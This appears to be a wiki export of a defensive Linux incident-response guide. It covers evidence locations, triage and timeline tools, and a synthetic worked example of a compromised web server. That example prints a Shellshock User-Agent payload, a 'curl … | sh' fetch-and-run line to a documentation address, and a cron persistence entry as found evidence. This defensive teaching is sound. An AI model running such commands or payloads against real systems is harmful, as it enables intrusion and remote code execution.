&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=269</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=269"/>
		<updated>2026-10-02T23:38:21Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Approved by AdminUser: removing the submission notice and Pending review category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
